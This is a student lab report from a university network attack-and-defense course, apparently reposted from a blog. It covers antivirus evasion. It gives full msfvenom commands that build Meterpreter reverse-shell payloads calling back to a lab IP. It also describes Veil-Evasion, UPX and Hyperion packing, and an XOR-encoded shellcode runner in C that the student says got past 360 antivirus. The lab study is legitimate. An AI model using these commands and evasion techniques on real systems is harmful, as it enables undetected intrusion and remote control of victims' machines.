zoukankan      html  css  js  c++  java
  • 20165101刘天野 2018-2019-2《网络对抗技术》Exp3 免杀原理与实践

    20165101刘天野 2018-2019-2《网络对抗技术》Exp3 免杀原理与实践

    1. 实践内容

    1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

    1.1.1 使用msf编码器

    输入命令msfvenom -h可查看相关用法:

    编码一次命令如下(用-e参数编码 用-b参数去除坏字符'0'):
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘x00’ LHOST=192.168.1.172 LPORT=5101 -f exe > 5101shell.exe

    编码十次命令如下(用-i参数指定编码次数):
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.1.172 LPORT=5101 -f exe > 5101shell-10.exe

    1.1.2 msfvenom生成如jar之类的其他文件

    用命令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.172 LPORT=5101 > 20165101.jar生成.jar文件:

    扫描结果如下:

    用命令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.172 LPORT=5101 > 20165101.php生成php文件:

    扫描结果如下:

    结果有点意外~~~

    用命令msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.172 LPORT=5101 > 20165101.apk生成安卓apk文件:

    扫描结果如下:

    1.1.3 veil-evasion

    关于veil-evasion的安装,我遇到了下列问题:
    使用git clone https://github.com/Veil-Framework/Veil.git命令下载Veil。

    使用./config/setup.sh --force --silent命令安装时遇到了远端挂断的问题。

    查看文件,发现git clone命令,由于github不支持断点续传,而且速度极慢,所以我用迅雷先下载好这些文件,然后更改了setup.sh文件,成功解决了该问题。这些依赖文件现已上传到百度云盘:https://pan.baidu.com/s/1n3M_vmKUvsrm-oOFDCm6gg
    提取码:tc2m

    下载后将文件夹的名字改为setup-dependencies,放置在主目录下。

    然后修改setup.sh文件

    use Evasion命令进入Evil-Evasion:

    输入命令use c/meterpreter/rev_tcp.py进入配置界面

    set LHOST 192.168.1.172命令设置ip,用set LPORT 5101命令设置端口号,用options命令查看配置

    再用generate命令生成.exe文件:

    如图所示,保存路径为:/var/lib/veil/output/compiled/20165101-veil.exe

    分别上传至Virscan和VirusTotal上:
    Virscan扫描结果如下:

    VirusTotal扫描结果如下:

    使用360杀毒看看:

    效果不是很理想

    但是这与Virscan的扫描结果有出入啊,令人费解。

    1.1.4 加壳工具

    1.1.4.1 压缩壳UPX

    Kali下输入命令upx 20165101-veil.exe -o veil-upxed.exe

    测试一下看看。

    效果依旧一般。

    1.1.4.2 加密壳Hyperion

    进入目录/usr/share/windows-binaries/hyperion/中;

    输入命令wine hyperion.exe -v ~/20165101-veil.exe veil-hyperion.exe进行加壳:

    测试一下看看。


    效果依旧一般。

    1.1.5 利用shellcode编程

    使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.172 LPORT=5101 -f c > 20165101.c生成一个c语言格式的shellcode数组:

    在生成的文件中加入主函数代码int main() { int (*func)() = (int(*)())buf; func(); }

    经过Codeblock编译运行后回连成功

    1.2 通过组合应用各种技术实现恶意代码免杀

    我们对shellcode进行免杀变形
    (1)msfvenom生成shellcode。
    (2)将shellcode与'0'进行异或,生成异或后的shellcode。
    (3)将异或后的shellcode放入程序,该程序再将此shellcode异或一次,还原为原来的shellcode,但因为没有了Shellcode的特征码,于是不易被杀软检测到。
    (4)用codeblocks编译该程序生成一个exe文件,即为该后门程序。

    周五的时候上传测试,只有ZoneAlarm杀出来了,刚刚检测就有12个能查杀了,这个响应速度也是不错的。

    加壳之后变为11/72

    1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    • 实验环境

    靶机:win10物理机,装有360全家桶最新版,IP地址为192.168.1.111。
    控制机:kali-2019,IP地址为192.168.1.172。

    将木马程序用U盘拷贝到靶机上,用360杀毒查杀,未发现风险,扫描日志如下:

    在全家桶火力全开的情况下,回连成功。


    2. 基础问题回答

    2.1 杀软是如何检测出恶意代码的?

    • 基于特征码的检测

    根据恶意代码的各种特殊片段形成一个特征码库,如果一个可执行文件包含特征码库中的数据则被认为是恶意代码。所以杀毒软件的恶意代码的病毒库的更新和全面性十分重要,过时的特征码库就无法检测出新的病毒。

    • 启发式检测

    根据些片面特征去推断。通常是因为缺乏精确判定依据。如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件。

    • 基于行为的恶意软件检测

    最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

    2.2 免杀是做什么?

    通过使用一些技术手段,让杀毒软件无法识别并分析主机中的恶意代码。

    2.3 免杀的基本方法有哪些?

    • 改变特征码

    对exe文件加壳:压缩壳 加密壳

    对shellcode用encode进行编码

    基于payload重新编译生成可执行文件

    用其他语言进行重写再编译(veil-evasion)

    • 改变行为

    (1)通讯方式
    尽量使用反弹式连接

    使用隧道技术

    加密通讯数据

    (2)操作模式

    基于内存操作

    减少对系统的修改

    加入混淆作用的正常功能代码

    • 非常规方法

    使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。

    使用社工类攻击,诱骗目标关闭AV软件。

    纯手工打造一个恶意软件

    3. 实践总结与体会

    经过本次实验之后,我发现杀毒软件也不是万能的,当你学习了避开杀软的查杀原理并进行别有用心的操作之后,就可能不被杀毒软件发现。

    经过这次实验,我对MSF、veil-evasion的使用也更加了解了,不断探索会发现他其实有很多强大的功能。还有很多方法可以成功实现免杀,不禁觉得学无止境,可以尝试学习的空间还很大。

    4. 离实战还缺些什么技术或步骤?

    我认为距离实战还缺乏Web渗透攻击技术,以及进程隐藏,守护进程等技术。

  • 相关阅读:
    DataSet主副表关系应注意的问题
    [转载]Converting a bitmap to a byte array
    通用验证脚本
    AG_E_RUNTIME_METHOD : CreateFromXaml错误的及解决
    Nginx打开目录浏览功能(autoindex)
    SQL语句执行时间
    有关cookies使用方法
    测试一下咯。这是水笔!
    Java注解与枚举简单练习
    ElasticSearch练习
  • 原文地址:https://www.cnblogs.com/lty12345678911/p/10632295.html
Copyright © 2011-2022 走看看